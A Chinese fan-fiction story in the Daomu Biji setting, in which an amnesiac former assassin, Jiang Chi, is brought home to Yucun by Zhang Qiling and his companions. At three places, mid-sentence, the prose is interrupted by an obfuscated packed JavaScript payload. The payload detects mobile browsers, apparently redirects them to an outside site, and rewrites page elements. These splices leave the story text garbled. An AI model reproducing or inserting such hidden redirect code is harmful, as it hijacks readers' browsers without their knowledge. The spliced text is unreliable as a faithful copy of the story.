《[盗墓笔记]我的归途》 1. 我 意识回笼的那一刻,首先占据感官的是气味。 那是一种冰冷、刺鼻,带着某种工业合成感的味道——消毒水。紧接着是听觉,心电监护仪发出单调而规律的“滴、滴”声,像是一把钝刀在切割着混沌的大脑。 我费力地睁开眼,入目是一片惨白。天花板,输液管,还有窗外透进来的、显得有些刺眼的阳光。 我是谁?我在哪? 大脑像是一台生锈的老旧机器,无论怎么用力转动,都只能发出刺耳的空转声,提取不出一丝一毫关于“过去”的信息。我试图抬起手,却发现手背上插着留置针,连接着透明的软管。 “醒了?” 一个低沉、毫无波澜的声音在床边响起。 我猛地转头,动作幅度大得牵动了身上的伤口,疼得我吸了一口冷气。床边坐着一个男人。他穿着一件深蓝色的连帽衫,帽子戴在头上,遮住了大半张脸,只露出线条冷硬的下颌和一双淡然的眼睛。 那双眼睛很黑,深不见底,像是一口枯井。他就那样静静地看着我,既没有久别重逢的激动,也没有面对陌生人的疏离,只有一种……仿佛已经看了我一辈子的沉静。 “你是谁?”我的声音沙哑得像吞了一把沙子。 男人没有立刻回答。他站起身,走到窗边,将窗帘拉上了一条缝隙,挡住了刺眼的阳光。做完这一切,他才转过身,从桌上的保温杯里倒了一杯温水,递到我面前。 “喝水。”他说。 我下意识地接过水杯,指尖触碰到杯壁的瞬间,一种奇异的感觉顺着神经末梢传遍全身。这双手……虽然苍白无力,但我能感觉到里面蕴藏的力量。那是长期握持某种东西——或许是枪,或许是刀——所留下的肌肉记忆。 我喝了一口水,温热的液体滑过喉咙,稍微缓解了一些焦躁。 “我是谁?”我再次追问,目光死死锁住他,“还有,你是谁?” 男人沉默了片刻。他走到床边,伸出手,似乎想触碰我的额头,但在半空中停住了,最后只是轻轻帮我掖了掖被角。 “张起灵。”他说,“你可以叫我小哥。” 张起灵。这个名字在舌尖滚过一圈,没有任何熟悉的触感,但我却莫名地感到一阵安心。仿佛只要这个名字存在,这该死的、空白的世界就有了某种秩序。 “那我呢?”我不依不饶。 “江驰。”他看着我,眼神里闪过一丝极难察觉的复杂情绪,“你是江驰。” 就在这时,病房的门被“砰”地一声推开了。 “我就说这小子命硬,阎王爷不敢收!” 未见其人,先闻其声。一个身形富态、穿着花衬衫的男人提着两大袋东西挤了进来,身后还跟着一个穿着白大褂、戴着墨镜的怪人。 “花儿爷说了,这病房得按五星级标准布置,这心电监护仪太吵了,得换静音的。”那个胖子一边嚷嚷,一边把东西往床头柜上堆,“还有啊,天真……哦不,吴邪老板说了,等你醒了,这笔账咱们得好好算算。” 我警惕地看着这两个闯入者,身体本能地紧绷,右手悄悄摸向了枕头底下的硬物——那里似乎藏着一把折叠刀。 “哟,警惕性还在。”戴着墨镜的男人推了推眼镜,嘴角勾起一抹玩味的笑,“失忆了还能保持这种应激反应,江小兄弟这身体素质,不去倒斗真是可惜了。” “瞎子,闭嘴。”张起灵淡淡地瞥了墨镜男一眼。 那个叫“瞎子”的人耸耸肩,走到我床边,熟练地翻开我的眼皮检查了一下瞳孔,然后拿起我的手腕把了把脉。 “脑震荡,轻微脑损伤,记忆缺失属于典型的逆行性遗忘。”瞎子收起听诊器,语气变得正经了一些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557941|204489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不过,脑子里的血块散得差不多了。能不能想起来以前的事,得看造化。或者……看刺激够不够。” “刺激?”我皱眉。 “对啊,”胖子凑过来,一脸神秘兮兮,“比如说,看看这个。” 说着,胖子从怀里掏出一个黑金古刀的模型,在我眼前晃了晃。 看到那个模型的瞬间,我的心脏猛地收缩了一下,脑海中闪过无数破碎的画面——鲜血、火光、还有张起灵在暴雨中回头的背影。 “头好疼……”我捂住额头,冷汗瞬间冒了出来。 张起灵立刻伸手按住了我的肩膀,他的手掌干燥有力,一股莫名的热流顺着他的掌心传来,奇异地抚平了我脑海中的剧痛。 “别逼他。”张起灵的声音冷了下来,看向胖子和瞎子的眼神带着警告。 “行行行,不逼不逼。”胖子讪讪地收回模型,“这不就是试试嘛。看来这小子虽然忘了事儿,但身体还记得咱们。” 我看着张起灵,心中涌起一股巨大的荒谬感和失落感。我失去了记忆,但我能感觉到,我和这些人之间,有着某种极其深刻、甚至超越生死的羁绊。 “我要出院。”我突然说道。 “现在?”瞎子挑眉,“你连自己是谁都不知道,出院去哪?” “跟着他。”我指了指张起灵。 病房里安静了一瞬。 张起灵看着我,那双淡然的眸子里似乎有什么东西碎裂了,又似乎有什么东西重新凝聚了起来。他没有说话,只是默默地点了点头。 “得,”胖子叹了口气,拍了拍大腿,“走吧,回家。” 我掀开被子,赤脚踩在地板上。虽然身体虚弱,但每一步都走得很稳。我知道,从这一刻起,我要在这个空白的世界里,重新找回属于我的名字和路。而张起灵,就是我唯一的线索。 2. 第 2 章 福建的雨村,空气里总是弥漫着一股潮湿的苔藓味和泥土的腥气。当那辆破旧的金杯面包车颠簸着停在一座依山而建的木楼前时,我已经昏昏沉沉地睡了又醒,醒了又睡。车窗外的景色从灰白的城市高楼,变成了连绵起伏的青山和淅淅沥沥的雨幕。 “到了到了!这就是咱们的‘喜来眠’农家乐!”胖子一脚踹开车门,那股子热乎劲儿瞬间冲散了车内的沉闷。他撑开一把巨大的黑伞,不由分说地把我从车上拽了下来,“江小兄弟,别嫌这地方偏,这可是咱们天真……哦不,吴邪老板精心挑选的养老胜地,空气好,水质好,最适合养人。” 我脚踩在湿滑的青石板上,身体晃了晃。长期的营养不良加上刚出院的虚弱,让我觉得脚下像踩了棉花。就在我以为自己要摔倒的时候,一只微凉的手稳稳地托住了我的胳膊。 张起灵没有说话,甚至没有看我,只是自然地接过胖子手里的行李,另一只手依旧虚扶着我,带着我向木楼走去。他的体温比常人低,但在这种阴雨天里,却让我感到一种奇异的安稳。 “小哥,你慢点,这小子现在是个瓷娃娃,碰不得。”胖子在后面嚷嚷,手里却提着大包小包,“天真!快出来接客……呸,接风洗尘!” 木楼的门开了,一个穿着休闲衬衫、气质温润的男人走了出来。他看着我,眼神里带着一丝复杂的笑意,那是经历过无数风浪后沉淀下来的温和。 “欢迎回家。”吴邪笑着递给我一双干燥的棉拖鞋,“我是吴邪,你可以叫我吴老板,或者天真……随你便。” 我换上拖鞋,脚底传来的暖意让我紧绷的神经稍微放松了一些,屋内的陈设很简单,原木的桌椅,墙上挂着几幅字画,角落里堆着一些杂物,却并不显得凌乱,反而透着一种生活的气息。 “房间给你收拾好了,就在小哥隔壁。”吴邪指了指楼梯,“先上去歇会儿,胖子去厨房忙活了,今晚给你做顿好的补补。” 我点点头,跟着张起灵上了楼。 房间很干净,窗户正对着远处的山峦。雨还在下,远处的山峰在云雾中若隐若现,像是一幅泼墨山水画。 “谢谢。”我看着正在帮我铺床的张起灵,干巴巴地挤出一句话。 张起灵动作顿了顿,将被角掖好,转过身看着我。他那双淡然的眼睛里倒映着我苍白的脸。 “不用。”他简短地回答,然后从口袋里掏出一个东西递给我。 那是一块玉佩,质地温润,触手生凉。玉佩上雕刻着复杂的纹路,像是一只蜷缩的麒麟,又像是某种古老的图腾。 “这是……”我接过玉佩,指尖触碰到那凹凸不平的纹路时,脑海中再次闪过一些模糊的片段——黑暗的甬道,急促的呼吸,还有一只手紧紧握着这块玉佩,指节泛白。 “你的东西。”张起灵看着我,“一直戴着,别丢了。” 我握紧玉佩,那凉意顺着掌心渗入血液,却奇异地压制住了体内那股莫名的躁动。 “我以前……是做什么的?”我低声问,目光落在玉佩上,“为什么我会带着这个?” 张起灵沉默了片刻。他走到窗边,看着外面的雨幕,背影显得有些孤寂。 “你是江驰。”他再次重复了这个名字,语气里多了一丝不易察觉的坚定,“这就够了。” 晚饭的香味是从楼下飘上来的。那是红烧肉、炖土鸡和辣椒炒肉的混合香气,霸道地钻进了我的鼻孔,勾起了我早已麻木的味蕾。 “开饭了!都给我下来!”胖子的嗓门穿透力极强。 我下楼时,张起灵已经坐在桌边了。桌上摆满了菜,热气腾腾。 “来来来,江小兄弟,坐这儿。”胖子给我盛了一大碗米饭,上面堆满了红烧肉, “这可是哥亲自下厨,用了山里跑地鸡和土猪肉,专治各种食欲不振。” 我看着那满满一碗肉,胃里一阵翻腾。长期没有进食让我对食物并没有太大的欲望。 “吃不下?”吴邪敏锐地察觉到了我的犹豫,他给我夹了一筷子青菜,“先吃点清淡的,慢慢来。胖子做菜油大,你要是吃不惯,待会儿让小哥给你煮碗面。” “谁说吃不惯!”胖子瞪眼,“这可是哥的一片心意!江小兄弟,你是不是嫌弃哥?” 我看着胖子那张写满“你不吃我就不高兴”的脸,又看了看旁边默默给我倒了一杯热茶的张起灵。 那杯茶温度刚刚好,不烫嘴,带着淡淡的茉莉花香。 我端起碗,夹起一块红烧肉放进嘴里。肥而不腻,入口即化,浓郁的酱汁在舌尖炸开,是一种久违的、属于“家”的味道。 “好吃。”我轻声说。 胖子瞬间眉开眼笑,“那必须的!哥这手艺,不去参加厨神争霸赛真是屈才了!” 饭桌上,胖子滔滔不绝地讲着雨村的趣事,讲隔壁王大妈家的鸡丢了,讲吴邪怎么被村里的狗追着跑。吴邪偶尔插几句嘴,眼神却始终有意无意地落在我身上,像是在观察,又像是在确认什么。 张起灵话很少,只是默默地吃饭,偶尔给我夹一筷子菜,或者在我茶杯空了的时候添水。他的动作自然流畅,仿佛已经做过无数次。 一顿饭吃得我额头冒汗,身体也暖和了不少。饭后,胖子主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557942|204489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动揽下了洗碗的活,哼着不知名的小调进了厨房。 吴邪泡了一壶茶,拉着我在院子里的藤椅上坐下。雨已经停了,空气格外清新。远处的山峦在月光下呈现出深邃的轮廓。 “感觉怎么样?”吴邪给我倒了一杯茶,语气变得认真起来,“身体有没有哪里不舒服?” “还好。”我捧着茶杯,感受着那温热的触感,“就是……脑子还是空的。” “空就空吧,”吴邪靠在椅背上,看着天上的星星,“有时候记得太多也不是什么好事。在这儿,你可以慢慢想,也可以不想。反正有我们在。”我转头看向他。月光洒在他的脸上,勾勒出他柔和的轮廓。我能感觉到,这个男人身上有着和我相似的、被岁月打磨过的痕迹。 “你们……为什么对我这么好?”我终于问出了心中的疑惑,“我到底是谁?我和你们,到底是什么关系?”吴邪沉默了一会儿。他拿起茶壶,给自己倒了一杯茶,一饮而尽。 “你是江驰。”他看着我,眼神里带着一丝怀念,“一个……曾经和我们一起出生入死的兄弟。虽然你忘了,但我们没忘。” “兄弟?”我咀嚼着这个词,心中涌起一股暖流。 “对,兄弟。”吴邪笑了,“在这儿,你不需要是什么杀手,也不需要有什么特殊的身份。你就是江驰,是我们喜来眠的人员。以后,你就跟着我们,一起养老。”正说着,张起灵从屋里走了出来。他手里拿着一件外套,走到我身边,将外套披在我身上。“凉了。”他说。 我拉了拉外套,上面还残留着他身上的清冷气息。 “小哥,”我看着张起灵,突然问道,“我以前,是不是也经常这样,坐在你身边?”张起灵看着我,那双深不见底的眼睛里,似乎有什么东西在流动。他伸出手,轻轻拍了拍我的肩膀。 “嗯。”他说,“一直都在。”那一刻,我看着眼前这两个人,还有厨房里传来胖子洗碗的声音,突然觉得,这个空白的世界,似乎也没那么可怕了。 或许,我真的曾经失去过一切。但此刻,在这雨村的夜色里,在这温暖的灯光下,我好像……重新找回了什么。 “明天,”张起灵突然开口,“带你去巡山。”“巡山?”我愣了一下。 “嗯。”张起灵点头,“抓鸡,看家。 ”我忍不住笑了。这大概是史上最“屈才”的杀手工作了吧。 “好啊。”我说,“那我明天,一定把那些鸡都抓回来。” 月光下,我们的影子被拉得很长。远处的山峦依旧沉默,但我知道,从明天起,我的生活,将不再是一片空白。 3. 第 3 章 雨村的清晨是被鸡鸣声唤醒的。我睁开眼时,窗外的天色刚蒙蒙亮。身边的床铺已经凉了,看来张起灵早就起身了。 我摸了摸枕边,那块麒麟玉佩还在,冰凉的触感让我混沌的大脑清醒了几分。 洗漱下楼,院子里已经飘起了炊烟。 “哟,醒了?来得早不如来得巧,刚出锅的小笼包。”胖子正端着一笼热气腾腾的包子从厨房出来,看见我,笑得脸上的肉都挤在了一起,“赶紧趁热吃,这可是小哥特意去镇上排队买的皮,哥亲自调的馅儿。” 我坐到桌边,看着桌上丰盛的早餐,心里那种异样的充实感又涌了上来。张起灵坐在对面,正慢条斯理地喝着粥,见我坐下,他不动声色地将一碟醋推到了我面前。 “谢谢。”我低声说。 “谢啥,以后咱就是一家人。”胖子大大咧咧地摆摆手,“对了,今儿个可能有客人来,你到时候别被吓着。” “客人?”我夹起一个包子,有些疑惑。在这深山老林里,除了我们几个,还会有谁? 正说着,院门外突然传来一阵引擎的轰鸣声,紧接着是急刹车的刺耳声响。 “这动静……”吴邪皱了皱眉,放下手里的筷子,“除了他,也没别人了。” 没过多久,一辆黑色的越野车蛮横地停在了院门口。车门打开,先下来的是几个穿着黑色西装、戴着耳麦的壮汉,训练有素地迅速散开,把守住了院子的各个角落。 “好大的排场。”胖子撇撇嘴,“花儿爷这是把整个解家都搬来了?” 紧接着,一只穿着定制粉色衬衫的脚踏出了车门。 那是一个极好看的男人,眉眼精致得像个瓷娃娃,但那双眼睛里透出的寒意却让人不敢直视。他整理了一下袖口,迈着优雅的步伐走进院子。在他身后,跟着一个穿着黑色背心、戴着墨镜的高大男人,嘴里还叼着一根棒棒糖,手里提着一只……老母鸡? “花儿爷,黑爷。”吴邪起身迎了出去,语气里带着几分无奈,“你们这阵仗,是来拆迁的还是来探亲的?” “探亲。”解雨臣淡淡地扫了一眼吴邪,目光越过他,直直地落在了我身上。 那一瞬间,我感觉周围的空气仿佛凝固了。 解雨臣看着我,眼神极其复杂。有审视,有怀念,还有一种……我看不懂的痛惜。他走到我面前,停下脚步,沉默了许久。 “瘦了。”他最终只说了这两个字,声音有些沙哑。 我有些不知所措,下意识地看向张起灵。张起灵微微点头,示意我不用紧张。 “这位是……”我试探着问。 “解雨臣。”旁边的黑瞎子摘下墨镜,露出一双总是带着笑意的眼睛,虽然那笑意并未达眼底,“你可以叫他花儿爷。至于我嘛,咱们之前在医院见过,我是黑瞎子,道上朋友抬爱,叫声黑爷。以前跟你嘛……算是同行,也是损友。” 损友? 我愣住了。这个称呼让我脑海中闪过一些模糊的画面——昏暗的地下黑市,嘈杂的人声,还有一个戴着墨镜的男人,正把一袋钱扔给我,嘴里说着什么“这单生意五五分账,少一个子儿我就把你扔这儿”。 “头又疼了?”黑瞎子敏锐地察觉到了我的异样,他走过来,两根手指搭在我的脉搏上,原本戏谑的表情瞬间变得严肃,“脉象虚浮,气血两亏。看来这失忆的副作用比想象中还要大。” “进屋说吧。”张起灵站起身,替我挡住了外面那些黑衣人探究的目光。 屋内,气氛有些微妙。 解雨臣坐在主位上,手里把玩着一只茶杯,却没有喝。黑瞎子则毫不客气地抓了个包子塞进嘴里,一边嚼一边含糊不清地说:“这次来,一是看看天真和小哥,二是……给江驰送个东西。” 说着,他从怀里掏出一个黑色的锦盒,推到了我面前。 “打开看看。”解雨臣开口了,他的声音恢复了平日的清冷,但多了一丝不易察觉的温柔。 我迟疑地打开锦盒。 里面躺着一把匕首。匕首的鞘是黑色的,上面镶嵌着银丝,雕刻着繁复的花纹。我伸手握住匕首柄的瞬间,一股熟悉的沉重感传来。 “拔出来。”黑瞎子说。 我依言拔出匕首。寒光一闪,刀刃如秋水般澄澈,映照出我苍白的脸。 就在看到刀刃的那一刹那,我的身体动了。 没有任何思考,我的手腕一翻,匕首在空中划出一道诡异的弧线,瞬间抵在了黑瞎子的咽喉处。刀锋紧贴着他的颈动脉,只要我手一送,就能割断他的喉咙。 “操!”胖子吓得跳了起来,“江小兄弟,你这是干嘛!” “别动。”黑瞎子却笑了,他甚至没有躲,只是看着我的眼睛,眼神里带着一丝怀念,“反应还是这么快。认得这招吗?‘黑蛇吐信’,当年在新月饭店,你可是用这招从我手里抢走了那本账册。” 我愣住了。 手中的匕首在微微颤抖。我看着黑瞎子,脑海中那些破碎的画面开始疯狂重组—— *“黑瞎子,这笔生意我接了,钱归我了。”* *“江驰,你小子够狠,这笔账我记下了。”* *“下次见面,别让我抓到你落单。”* “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557943|204489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呃……”我痛苦地捂住头,匕首“当啷”一声掉在桌上。 一只微凉的手按在了我的后颈上,轻轻揉捏着。张起灵不知何时站到了我身后,他的气息瞬间包围了我,让我从那种狂暴的状态中冷静下来。 “没事了。”他在我耳边低语。 我大口喘着气,冷汗浸湿了后背。 “看来身体记得很清楚。”解雨臣看着那把匕首,眼神暗了暗,“江驰,你以前……是道上杀手。这把匕首是你以前的随身武器,叫‘断念’。” 断念。 我抚摸着冰冷的刀鞘,心中涌起一股巨大的悲凉。原来,我曾经是这样一个人吗?一把没有感情的刀? “这次来,除了送这个,还有件事。”解雨臣从公文包里拿出一份文件,递给吴邪,“最近长沙那边有些动静,有人在打听‘麒麟竭’的下落。而且……我们查到了一些关于江驰过去的线索。” “什么线索?”吴邪接过文件,脸色变得凝重起来。 “江驰失忆前,最后出现的地方,是张家古楼。”解雨臣看着张起灵,“而且,他是为了找一样东西,才把自己搞成这样的。”张起灵的身体猛地僵住了 。“什么东西?”我问。解雨臣看着我,目光深邃: “一份名单。一份记录了所有‘长生者’弱点的名单。那份名单,原本是属于张家的。”我转头看向张起灵。他的脸色苍白,眼神中闪过一丝痛苦。 “小哥……”我下意识地抓住了他的手。张起灵反握住我的手,力道大得有些发疼。 “别想了。”他看着我,语气前所未有的强硬,“过去的事,都过去了。你现在是江驰,只是江驰。” “可是……” “没有可是。”黑瞎子突然插嘴,收起了那副玩世不恭的样子,“江驰,你以前为了这张名单,差点把命都搭进去。现在既然忘了,那就别想了。咱们这行,难得糊涂。”我看着他们。吴邪的担忧,胖子的紧张,黑瞎子的严肃,还有张起灵那几乎要溢出来的保护欲。突然,我笑了。 “好。”我说,“不想了。”既然这双手曾经沾满鲜血,那从现在起,我就用它来握筷子,来种花,来……握住这只微凉的手。 吴邪拿起桌上的包子,咬了一口,“不过,既然花儿爷来了,今晚的饭钱是不是该你结?”院子里的气氛瞬间轻松了下来。解雨臣愣了一下,随即无奈地笑了:“行,今晚我请客。胖子,把你拿手的菜都做出来。”“得嘞!有花儿爷这句话,哥今晚非得露两手不可!”窗外的雨又下了起来,打在青瓦上,发出清脆的声响。屋内,灯火通明,暖意融融。